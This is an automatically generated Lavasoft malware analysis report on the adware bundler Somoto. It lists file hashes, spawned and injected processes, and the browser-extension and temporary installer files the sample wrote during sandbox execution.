Application.Bundler.Somoto.I_8625ca1db6

by malwarelabrobot on April 16th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 8625ca1db67bb0868ba6d89d9c34550b
SHA1: 3090816d27bad58f7f2ca51d6d3d22e489a05330
SHA256: d55233e882bb4c34d0fd33a8aa6ee08ebba3301d8ea29759a7a2767f7358029d
SSDeep: 3072:322ihA0m3BJf0APQbO3dYzqkq9sa7tbC8zamwfrv6fLuAZAoa obG84Y:IA0m3T0APYO3dYzqkLa7tbC8ORfrv6f4
Size: 163216 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit


Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

cmdshell.exe:1984
install.exe:2940
ProtectService.exe:1852
ProtectService.exe:3864
YTAHelper.exe:3868
smt_istartsurf.exe:3996
044ba9ad-d071-4924-93f1-321600ec1e76-4.exe:3868
ProtectWindowsManager.exe:3944
ProtectWindowsManager.exe:3424
GLJCD7C.tmp:3500
install.tmp:1916
jsdrv.exe:2836
wpm_v20.0.0.1953_0302.exe:4040
biclient.exe:1828
biclient.exe:816
biclient.exe:1172
webplayer_installer.exe:3180
GLBCD0E.tmp:3452
ins_yta.exe:3444
QQBrowser.exe:3592
QQBrowser.exe:3476
testlsp.exe:1888
powershell.exe:3320
powershell.exe:3284
powershell.exe:3404
setup.exe:3836
HPNotify.exe:1524
Wrgdrartol.exe:3264
671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe:1844
ShopperPro.exe:3332
XTab_Setup2121.exe:960
Twhaovuu.exe:3188
appshat.exe:2528
%original file name%.exe:2364
ins_shopperpro.exe:4012
regsvr32.exe:3920
regsvr32.exe:4052
regsvr32.exe:2272
regsvr32.exe:3680
regsvr32.exe:3412
regsvr32.exe:3172
lspinst.exe:2244
lspinst.exe:2484
e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe:3740
YTAHEL~1.EXE:1600
appshat_generic.exe:1584
DCytaiesmt_smtyc_setup.exe:2420
DCytaiesmt_smtyc_setup.exe:3956
DCytaiesmt_smtyc_setup.exe:3516
DCytaiesmt_smtyc_setup.exe:1664
DCytaiesmt_smtyc_setup.exe:820
DCytaiesmt_smtyc_setup.exe:1900
cscript.exe:3460
spbiu.exe:3656
spbiu.exe:1596
wscript.exe:1580
YouTubeAcceleratorService.exe:3940
YouTubeAcceleratorService.exe:3140
YouTubeAcceleratorService.exe:3612
B338.tmp:3876
INS_SENSE.EXE:3888
Xnxius.exe:3424
taskeng.exe:3276
ytaiesmt_smtyc_setup.exe:1504
INS_IWEBAR.EXE:3152

The Application injects its code into the following process(es):

YouTubeAccelerator.exe:3268
SciLors GrooveDownloader.exe:3808
WebPlayer.exe:4000
YouTubeAcceleratorService.exe:3316

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process cmdshell.exe:1984 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process install.exe:2940 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-HME08.tmp\install.tmp (1594 bytes)

The process ProtectService.exe:1852 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process ProtectService.exe:3864 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process YTAHelper.exe:3868 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process smt_istartsurf.exe:3996 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\wpm_v20.0.0.1953_0302.exe (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\XTab_Setup2121.exe (76650 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\eg1.zip (178947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\eg2.zip (203059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\474.db (168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\scrollbar.bmp (1552 bytes)

The process 044ba9ad-d071-4924-93f1-321600ec1e76-4.exe:3868 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7ad362db0f9746c8f82e85d181f6f20b.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\78c7c5195c5cc29f64eaad9744ac2805.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a2698f370cf16a85e76f885a741a2504.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\1a8e6e0af6f5e63e69b50aa19e2edec7.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\abdb8273d7e5892741d8b3e818636e13.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d191c6d8deea4ab47e7b07f4de4944c3.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1fee4b6c5fc96f858f1b7420abafa882.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0a494679afc4f732435dfbf36b1d16f7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6dfd716cc689fd4536b61f573bc2a9de.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ed8a61e0f90ec937abf6765ca7b2fa53.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2e6c33af050a2d36d5feacb92bcc20bb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\eef6ad538a5bd83734859b03d8800170.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a32b7ba6896ca429c6b103369184df77.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\afd23afbf31aff504752c7abe8f157a3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\821228e2ab8f3bffa4cdedbfdb554490.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\910bcabdc755b6269bcdea5f5f7ff6d8.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d3c5748ba2d0d4c303adf0057930ef4c.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9be2381fe90aa5d6f8de468598183b4a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3ffb2d55bcfdb3c478b8fd673a1b32da.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\eebf14c0969b484959c5ac2340d40b3d.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\42cb940df94d65fdc7384c311b24adaf.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6ad7606e2cd079bec489fb8b646d953f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eece8b1532f355b2b1957c7281956ce9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\47592d31d883f5f733eea2c7b3cb8ed8.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\973ce4f41d9847303104697ca0c5a741.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9a33363ed35f892730b8b923a38e8768.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\eebd372eef4e5ae13e00de02004b5dd1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b7795ad69fd65419a7800993b87d70fe.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5af95c651f68735625ab9662ba482ad2.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7d70236c8fd51250c238a4feab54f49b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a2f0b7d77d3b51c7875eaa3bbf535ef4.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\8d76659805e814216638dd51d2960819.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fad62935e654b4befee9ca2ec513f7c7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ac50f695df18cd943793f011be9572e2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\127bc2ccbbc65c283a140ba4c79513ce.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\e64f20b81b1963545ae1f1a47e378415.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\701e44416e4d8f4405d3ceb42fd71cbb.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\16de9413947318dc4193ded937eb02f7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
